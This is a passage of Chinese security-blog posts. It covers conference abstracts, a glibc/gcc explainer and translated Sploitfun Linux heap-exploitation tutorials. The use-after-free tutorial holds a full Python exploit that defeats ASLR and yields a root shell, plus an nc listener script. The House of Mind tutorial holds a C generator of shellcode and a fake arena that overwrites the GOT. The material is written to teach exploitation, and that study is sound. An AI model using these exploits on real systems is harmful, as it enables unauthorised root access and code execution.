PRESENTED BY Cooper Quintin & Eva Galperin

当政府受到攻击时:国家赞助的恶意软件攻击活动家/律师/记者
【摘要】针对活动家、律师和记者的恶意软件攻击变得异常普遍,本文讨论针对世界各地的活动家、记者和律师(包括EFF)的恶意软件活动的技术和操作细节。


【103】WHEN THE COPS COME A-KNOCKING: HANDLING TECHNICAL ASSISTANCE DEMANDS FROM LAW ENFORCEMENT

PRESENTED BY Jennifer Granick & Riana Pfefferkorn

当警察来敲门:处理来自法律实施的技术援助
【摘要】本文帮助大家了解执法部门可能要求提供什么样的援助(并且要求过去的公司),他们是否有权要求这种协助以及根据什么法律以及公司的选择。


【104】WINDOWS 10 MITIGATION IMPROVEMENTS

PRESENTED BY Matt Miller & David Weston

WINDOWS 10减缓改进
【摘要】本文描述了微软处理软件安全的一些新方法,以及对Windows 10所做的一些新的缓解改进。涵盖一种新的数据驱动的软件安全方法,这种方法包括主动监测和分析在野外发现的漏洞,以更好地了解正在被利用的漏洞和利用技术的类型。


【105】WINDOWS 10 SEGMENT HEAP INTERNALS

PRESENTED BY Mark Vincent Yason

Windows 10 Segment Heap的内部构件
【摘要】本文讨论了Segment Heap的数据结构,算法和安全机制。通过讨论和演示如何使用Microsoft WinRT PDF库(CVE-2016117)中的内存损坏漏洞在Edge内容进程的上下文中创建可靠的写入原语,来深入理解应用Segment Heap的知识。


【106】XENPWN: BREAKING PARAVIRTUALIZED DEVICES

PRESENTED BY Felix Wilhelm

XENPWN:破解半虚拟化设备
【摘要】现代虚拟机管理程序是使用半虚拟化设备来为guest虚拟机提供访问,特权后端组件中的错误可能允许攻击者突破客户端。本文介绍了对特权后端组件安全性的研究结果,并讨论了Xenpwn,一种基于虚拟机管理程序的内存访问跟踪工具,用于发现Xen虚拟机管理程序的半虚拟化驱动程序中的多个关键漏洞。

内核层恶意代码分析


作者:Diting0x

转载本文请务必注明,文章出处:《内核层恶意代码分析》与作者信息:CSysSec出品


本文旨在收集Linux下内核层恶意代码并进行分析,持续更新。










  • 部分用于研究目的的内核层恶意代码源码分享,可以参考这里

作者:Diting0x

转载本文请务必注明,文章出处:《内核层恶意代码分析》与作者信息:CSysSec出品

理清编译链接的那些事儿

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,主要介绍了Linux内核中一系列的内存分配函数及其原理
转载本文请务必注明,文章出处:《理清编译链接的那些事儿》与作者信息:Diting0x


当你在linux下写C/C++代码的时候,是不是会遇到许多编译链接的问题? 时不时报个glibc,gcc,g++等相关的错误? 很多时候都无从下手,而且比较混乱。 这也是编译链接过程中经常出现的问题。

这篇文章不是去介绍如何编译链接,而是理清编译链接过程中碰到的一些概念和出现的问题。尤其是,libc,,glib,glibc,eglibc,libc++,libstdc++,gcc,g++。

从libc说起。
libc是Linux下原来的标准C库,也就是当初写hello world时包含的头文件#include < stdio.h> 定义的地方。

后来逐渐被glibc取代,也就是传说中的GNU C Library,在此之前除了有libc,还有klibc,uclibc。现在只要知道用的最多的是glibc就行了,主流的一些linux操作系统如 Debian, Ubuntu,Redhat等用的都是glibc(或者其变种,下面会说到).

那glibc都做了些什么呢? glibc是Linux系统中最底层的API,几乎其它任何的运行库都要依赖glibc。 glibc最主要的功能就是对系统调用的封装,你想想看,你怎么能在C代码中直接用fopen函数就能打开文件? 打开文件最终还是要触发系统中的sys_open系统调用,而这中间的处理过程都是glibc来完成的。这篇文章详细介绍了glibc是如何与上层应用程序和系统调用交互的。除了封装系统调用,glibc自身也提供了一些上层应用函数必要的功能,如string,malloc,stdlib,linuxthreads,locale,signal等等。

好了,那eglibc又是什么? 这里的e是Embedded的意思,也就是前面说到的变种glibc。eglibc的主要特性是为了更好的支持嵌入式架构,可以支持不同的shell(包括嵌入式),但它是二进制兼容glibc的,就是说如果你的代码之前依赖eglibc库,那么换成glibc后也不需要重新编译。ubuntu系统用的就是eglibc(而不是glibc),不信,你执行 ldd –version 或者 /lib/i386-linux-gnu/libc.so.6
(64位系统运行/lib/x86_64-linux-gnu)看看,便会显示你系统中eglibc/glibc的版本信息。 这里提到了libc.so.6,这个文件就是eglibc/glibc编译后的生成库文件。

好了,还有一个glib看起来也很相似,那它又是什么呢?glib也是个c程序库,不过比较轻量级,glib将C语言中的数据类型统一封装成自己的数据类型,提供了C语言常用的数据结构的定义以及处理函数,有趣的宏以及可移植的封装等(注:glib是可移植的,说明你可以在linux下,也可以在windows下使用它)。那它跟glibc有什么关系吗?其实并没有,除非你的程序代码会用到glib库中的数据结构或者函数,glib库在ubuntu系统中并不会默认安装(可以通过apt-get install libglib2.0-dev手动安装),著名的GTK+和Gnome底层用的都是glib库。想更详细了解glib? 可以参考 这里

看到这里,你应该知道这些库有多重要了吧? 你写的C代码在编译的过程中有可能出现明明是这些库里面定义的变,却量还会出现’Undefined’, ‘Unreference’等错误,这时候你可能会怀疑是不是这些库出问题了? 是不是该动手换个gilbc/eglibc了? 这里强调一点,在你准备更换/升级这些库之前,你应该好好思考一下,你真的要更换/升级吗?你要知道你自己在做什么!你要时刻知道glibc/eglibc的影响有多大,不管你之前部署的什么程序,linux系统的ls,cd,mv,ps等等全都得依赖它,很多人在更换/升级都有过惨痛的教训,甚至让整个系统奔溃无法启动。所以,强烈不建议更换/升级这些库!

当然如果你写的是C++代码,还有两个库也要非常重视了,libc++/libstdc++,这两个库有关系吗?有。两个都是C++标准库。libc++是针对clang编译器特别重写的C++标准库,那libstdc++自然就是gcc的事儿了。libstdc++与gcc的关系就像clang与libc++. 其中的区别这里不作详细介绍了。

再说说libstdc++,glibc的关系。 libstdc++与gcc是捆绑在一起的,也就是说安装gcc的时候会把libstdc++装上。 那为什么glibc和gcc没有捆绑在一起呢?
相比glibc,libstdc++虽然提供了c++程序的标准库,但它并不与内核打交道。对于系统级别的事件,libstdc++首先是会与glibc交互,才能和内核通信。相比glibc来说,libstdc++就显得没那么基础了。

说完了这些库,这些库最终都是拿来干嘛的?当然是要将它们与你的程序链接在一起! 这时候就不得不说说gcc了(当然还有前文提到的clang以及llvm等编译器,本文就不细说它们的区别了)。

你写的C代码.c文件通过gcc首先转化为汇编.S文件,之后汇编器as将.S文件转化为机器代码.o文件,生成的.o文件再与其它.o文件,或者之前提到的libc.so.6库文件通过ld链接器链接在一块生成可执行文件。当然,在你编译代码使用gcc的时候,gcc命令已经帮你把这些细节全部做好了。

那g++是做什么的? 慢慢说来,不要以为gcc只能编译C代码,g++只能编译c++代码。 后缀为.c的,gcc把它当作是C程序,而g++当作是c++程序;后缀为.cpp的,两者都会认为是c++程序,注意,虽然c++是c的超集,但是两者对语法的要求是有区别的。在编译阶段,g++会调用gcc,对于c++代码,两者是等价的,但是因为gcc命令不能自动和C++程序使用的库联接,需要这样,gcc -lstdc++, 所以如果你的Makefile文件并没有手动加上libstdc++库,一般就会提示错误,要求你安装g++编译器了。

好了,就说到这,理清这些库与编译器之间的关系,相信会对你解决编译链接过程中遇到的错误起到一点帮助。

如果你的编译器不支持一些新的C/C++特性,想升级gcc/g++, 这里也给出一个基于ubuntu系统的参考方法。

添加ppa

sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt-get update

添加ppa,是因为你所用的ubuntu版本的更新源中可能并没有你想要的gcc/g++版本。

安装新版gcc/g++

sudo apt-get install gcc-4.8
sudo apt-get install g++-4.8

可以到/usr/bin/gcc查看新安装的gcc,g++

配置系统gcc/g++

使用update-alternatives,统一更新gcc/g++

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 60 --slave /usr/bin/g++ g++ /usr/bin/g++-4.6
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 80 --slave /usr/bin/g++ g++ /usr/bin/g++-4.8
sudo update-alternatives --config gcc

数字优先级(如60,80)高的会被系统选择为默认的编译器,也可以执行第三条命令就是来手动配置系统的gcc,此处按照提示,选择4.8版本的即可。


转载本文请务必注明,文章出处:《理清编译链接的那些事儿》与作者信息:Diting0x


深入理解Linux内存分配

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,主要介绍了Linux内核中一系列的内存分配函数及其原理
转载本文请务必注明,文章出处:《深入理解Linux内核分配》与作者信息:Diting0x


为了写一个用户层程序,你也许会声明一个全局变量,这个全局变量可能是一个int类型也可能是一个数组,而声明之后你有可能会先初始化它,也有可能放在之后用到它的时候再初始化。除此之外,你有可能会选择在函数内部去声明局部变量,又或者为变量动态申请内存。

Read More

Use-after-free

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Use-after-free)》与作者信息:CSysSec出品


  • 0X01 什么是use-after-free
  • 0X02 什么是信息泄露,攻击者如何利用

阅读基础:
栈内off-by-one漏洞利用
深入理解glibc malloc
VM Setup: Fedora 20(x86)

0X01 什么是use-after-free

当一个堆内存指针已经被释放,继续使用这个指针时,就称为use-after-free bug。这种bug能导致任意代码执行。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}

编译命令:

1
2
3
4
5
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意: 不像前文,这里打开了ASLR. 现在让我们开始利用UaF bug吧,由于已经打开了ASLR,我们用信息泄露和暴力破解技术来绕过它。

上述漏洞代码含有两个UaF bug,分别在第[6]和[13]行。它们相对应的堆内存分别在第[5]和第[10]行被释放,但它们的指针在释放后仍然再次被使用 (第[6]和[13]行)!! 第[6]行的UaF导致信息泄露,而第[13]行的UaF导致任意代码执行。

0X02 什么是信息泄露?攻击者如何利用?

在漏洞代码中(第[6]行),信息是通过堆地址被泄露的。泄露的堆地址可以帮助攻击者很容易的算出已经被随机化的堆基地址,从而击败ASLR!

为了理解堆地址是如何被泄露的,我们先来理解一下漏洞代码的上半部分。

  • 第[1]行分配了16字节的堆内存给’name’
  • 第[2]行分配了16字节的堆内存给’details’
  • 第[3]行将程序的argv[1]参数拷贝到’name’堆内存区域
  • 第[4]和[5]行回收’name’和’details’堆内存给glibc malloc。
  • 第[6]行的printf 在’name’指针被释放后继续使用,导致泄露堆地址。

前文我们知道,对应于’name’和’details’指针的chunk属于fast chunk。当这些fast chun被释放时,会被存储在fast bins的0索引处(index zero)。我们也知道每个fast bin含有空闲chunks的单链表。因此在我们的例子中,fast bin的 0索引中的单链表形式如下所示:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

由于这种单链表形式,’name’的前四个字节含有’details_chunk’的地址。因此,当’name’被输出时,‘details_chunk’的地址先被输出。从堆栈布局,我们知道’details_chunk’ 位于堆基地址的偏移0x10处。因此,从获取被泄露的地址中减去0x10,就可以得到堆的基地址了。

如何做到任意代码执行

现在已经获取随机化的堆基地址,理解漏洞代码的下半部分,让我们来看看是怎么做到任意代码执行的。

  • 第[7]行分配了16字节的堆内存给’tmp’
  • 第[8]行分配了1024字节的堆内存给’p1’
  • 第[9]行分配了1024字节的堆内存给’p2’
  • 第[10]行回收了’p2’的1024字节堆内存给glibc malloc
  • 第[11]行分配了512字节的堆内存给’p2_1’
  • 第[12]行分配了512字节的堆内存给’p2_2’
  • 第[13]行的read在’p2’被释放后继续使用它
  • 第[14]行回收了’p1’的1024字节堆内存给glibc malloc,当程序退出时,导致任意代码执行。

通过阅读前文,我们知道当’p2’被回收给glibc maloc时候,会被合并到top chunk。 之后,当为’p2_1’请求内存时,会从top chunk中分配- ‘p2’和’p2_1’含有相同的堆地址。当为’p2_2’请求内存时,会从top chunk中- ‘p2\2’距’p2’有512字节。当’p2’指针释放后被使用(第[13]行),攻击者控制的数据(最多1019字节)被拷贝到’pc_1’中,而’p2_1’只有512字节,剩下的被攻击者控制的字节会覆盖下一个chunk’p2_2’,这样一来就允许攻击者覆盖下一个chunk的头部size域!!!

堆布局




这里可以看出,如果攻击者成功覆盖下一个chunk的size域,就可以欺骗glibc malloc来unlink chunk ‘p2_1’了,尽管这时chunk已经处于分配状态。在同一篇文中,我们也知道只要攻击者能小心的构造一个假的chunk头部信息,unlink一个已经处于分配状态的大chunk会导致任意代码执行!! 攻击者按一下方式构造假的chunk头部信息:

  • fd必须指回被释放的chunk地址。从堆布局中可以发现,’p2_1’位于偏移0x410处。 因此,fd=heap_base_address(可以从信息泄露bug中获取) + 0x410.
  • bk也要指回被释放的chunk地址。从堆布局中可以发现,’p2_1’位于偏移0x410处。 因此,fd=heap_base_address(可以从信息泄露bug中获取) + 0x410.
  • fd_nextsize必须指向tls_dtor_list - 0x14。 ‘tls_dtor_list’属于glibc的私有匿名映射段中,它已经被随机化。因此,可以利用下面的漏洞利用代码中的暴力破解技术绕过随机化。
  • bk_nextsize必须指向含有dtor_list元素的堆地址! 在构建假的chunk 头之后,’system’ dtor_list被攻击者注入,这时,’setuid’ dtor_list被攻击者注入来替代’p2_1’的堆内存区域。从堆布局中,我们可以知道’system’ 和’setuid’ dtor_list分别位于0x428和0x618处。

得到所有这些信息之后,我们就可以写个漏洞利用程序攻击二进制文件’vuln’了。

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)

使用暴力破解技术,我们需要尝试许多次来绕过随机化直至成功。我们可以让漏洞程序’vuln’作为网络服务器来运行,然后使用shell脚本保证当系统奔溃时能自动重启。

1
2
3
4
5
6
7
8
9
10
11
12
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done

执行上述漏洞利用代码可以得到root shell! 太棒了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

参考:

1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Use-after-free)》与作者信息:CSysSec出品

Malloc Maleficarum堆溢出

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Malloc Maleficarum堆溢出)》与作者信息:CSysSec出品


  • 0X01 House of Mind
  • 0X02 House of Force
  • 0x03 House of Spirit

阅读基础:

在2004后期,’glibc malloc’ 被强化. 像unlink类似的一些技术过时后,攻击者变得无所适从。但仅在2005年后期,’Phantasmal Phatasmagoria’又开始提出下面的一系列技术来成功利用堆溢出。

  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit

0X01 House of Mind

通过这项技术,攻击者利用构造的假arena( Fake Arena)来欺骗’glibc malloc’。通过构造假的arena以让未排序bin的fd含有free的GOT表项地址(12)。 如此一来,漏洞程序中释放的free函数的GOT表项被shellcode地址覆盖。成功覆盖GOT之后,任何时候调用漏洞程序的free函数,shellcode就会执行。

假设条件: 由于不是所有的堆溢出漏洞程序都能被house of mind技术成功利用,以下是成功利用的假设条件:

  • 1.调用一系列malloc,直到一个chunk的地址对其多倍的HEAP_MAX_SIZE,进而生成一块内存区域能被攻击者控制。在这块内存区域里,可以发现假的heap_info结构体。假的heap_info的arena指针ar_ptr将会指向假的arena。这样一来,假的arena和heap_info内存区域都会被攻击者控制。
  • 2.Size域(其arena指针是prereq 1)被攻击者控制的一个chunk必须要释放。
    1. 紧邻上述被释放chunk的下一个chunk不能是一个top chunk.

漏洞程序:这个漏洞程序满足上述假设条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* vuln.c
House of Mind vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
int main (void) {
char *ptr = malloc(1024); /* First allocated chunk */
char *ptr2; /* Second chunk/Last but one chunk */
char *ptr3; /* Last chunk */
int heap = (int)ptr & 0xFFF00000;
_Bool found = 0;
int i = 2;
for (i = 2; i < 1024; i++) {
/* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
/* 0x08100000 is the place where fake heap_info structure is found. */
[1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
(heap + 0x100000))) {
printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
found = 1;
break;
}
}
[2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
/* User Input. */
[3]fread (ptr, 1024 * 1024, 1, stdin);
[4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
[5]free(ptr3); /* Shell code execution. */
return(0); /* Bye */
}

上述漏洞程序的堆内存如下所示:




注:本系列所有文章中第[N]行代码指的的代码中显示/*[N]*/的位置。

漏洞程序中的第[3]行就是堆溢出发生的地方。用户输入存储在chunk1的内存指针处,共1MB大小。为了成功利用堆溢出,攻击者要按照以下顺序提供用户输入:

  • Fake arena
  • Junk
  • Fake heap_info
  • Shellcode

漏洞利用程序:这个程序生成攻击者的数据文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/* exp.c
Program to generate attacker data.
Command:
#./exp > file
*/
#include <stdio.h>
#define BIN1 0xb7fd8430
char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
char ret_str[4] = "\x00\x00\x00\x00";
void convert_endianess(int arg)
{
int i=0;
ret_str[3] = (arg & 0xFF000000) >> 24;
ret_str[2] = (arg & 0x00FF0000) >> 16;
ret_str[1] = (arg & 0x0000FF00) >> 8;
ret_str[0] = (arg & 0x000000FF) >> 0;
}
int main() {
int i=0,j=0;
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
/* Fake Arena. */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
for(i=0;i<10;i++)
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
for(i=0;i<127;i++) {
convert_endianess(BIN1+(i*8));
if(i == 119) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
} else if(i==0) {
fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
else {
fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
}
for(i=0;i<4;i++) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
}
fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
for(i=0;i<234;i++) {
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
}
for(i=0;i<722;i++) {
if(i==721) {
/* Chunk 724 contains the shellcode. */
fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
for(j=0;j<230;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
continue;
} else {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
}
if(i==720) {
for(j=0;j<90;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
for(j=0;j<165;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
} else {
for(j=0;j<256;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
}
}
return 0;
}

攻击者生成数据文件作为用户输入,漏洞程序的堆内存变为如下所示:




攻击者生成数据文件作为用户输入,当漏洞程序的第[4]行执行时,’glibc malloc’会做以下事情:

  • 调用arena_for_chunk 宏获取正被释放中的chunk的arena
    • arena_for_chunk: 如果NON_MAIN_ARENA (N)位没有被设置,返回主arena(main arena)。如果已经设置,通过将chunk地址对其多倍的HEAP_MAX_SIZE访问相应的heap_info结构体。然后,返回获取heap_info结构体的arena指针。在我们的例子中,ON_MAIN_ARENA (N)被攻击者设置,所以得到了正要被释放的chunk的heap_info结构体(位于地址0x0810000处)。heap_info的ar_ptr = Fake arena的基地址(0x0804a018)。
  • 以arena指针和chunk地址作为参数调用_int_free。在我们的例子中,arena指针指向fake arena, 因此fake arena和chun地址作为参数传递到_int_free。
    • Fake arena: 以下是fake arena中需要被攻击者覆盖的必要域:
      + [Mutex](https://github.com/sploitfun/lsploits/blob/master/hof/hom/malloc_snip.c#L14)- 必须处于解锁状态(unlocked state).
      + [Bins](https://github.com/sploitfun/lsploits/blob/master/hof/hom/malloc_snip.c#L29)- 未排序的bin fd必须含有free函数的GOT表项地址-12
      + [Top](https://github.com/sploitfun/lsploits/blob/master/hof/hom/malloc_snip.c#L23)- 
              + Top地址必须不等于正被释放的chunk地址
              + Top地址必须大于下一个chunk地址
      + [System Memory](https://github.com/sploitfun/lsploits/blob/master/hof/hom/malloc_snip.c#L41)- System memory必须大于下一个chunk的size。
      
      • _int_free():
        • 如果chunk没有被映射(non mmap’d),获取锁。在我们的例子中,chunk没有被映射并且fake arena的mutex lock也被成功获取。
        • 合并
          + 查找前一个chunk是否空闲,如果空闲,则合并。在我们的例子中,前一个chunk被分配,因此不能向后合并。
          + 查找下一个chunk是否空闲,如果空闲,则合并。在我们的例子中,下一个chunk被分配,因此可以向前合并。
          
        • 将当前释放的chunk放入未被排序的bin中。在我们的例子中,fake arena的未排序bin的fs含有free函数的GOT表项地址(12),被拷贝到‘fwd’中。之后,当前被释放的chunk的地址被拷贝到’fwd->bk’中。 bk位于malloc_chunk的12偏移处,因此12加入到’fwd’值中(ie. free- 12+12)。现在free的GOT表项被当前释放的chunk地址修改。由于攻击者已经将shellcode放入到当前被释放的chunk中,从现在开始,只要free被调用,攻击者的shellcode就会执行。

把攻击者的数据文件当做用户输入,执行上述漏洞代码,就会执行攻击者的shellcode,如下所示

1
2
3
4
5
6
7
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

保护: 现如今,由于’glibc malloc’ 被强化(got hardened), house of mind技术不再有效。为阻止house of mind带来的堆溢出,添加了一下检查:

  • 损坏的chunks: 未排序的bin的第一个chunk的bk指针必须执行未排序的bin,否则,’glibc malloc’就会抛出一个损坏的chunk错误。
1
2
3
4
5
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}

0X02 House of Force

通过这项技术,攻击者滥用top chunk的size,利用top chunk欺骗’glibc malloc’来服务大量的内存请求(比堆的系统内存大小要打)。如此一来,当发出一个新的malloc请求,free的GOT表项就会被shellcode地址覆盖。从现在开始,只要free被调用,shellcode就会执行。

假设条件: 需要三个malloc调用才能成功利用house of force 技术:

  • Malloc 1: 攻击者必须能控制top chunk的大小。 这堆样就能在这个分配的chunk(物理上在top chunk前面)中溢出。
  • Malloc 2: 攻击者必须能控制这个malloc请求的大小
  • Malloc 3: 用户输入必须拷贝到这个已经分配的chunk中。

漏洞程序:这个漏洞程序满足上述假设条件.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
House of force vulnerable program.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *buf1, *buf2, *buf3;
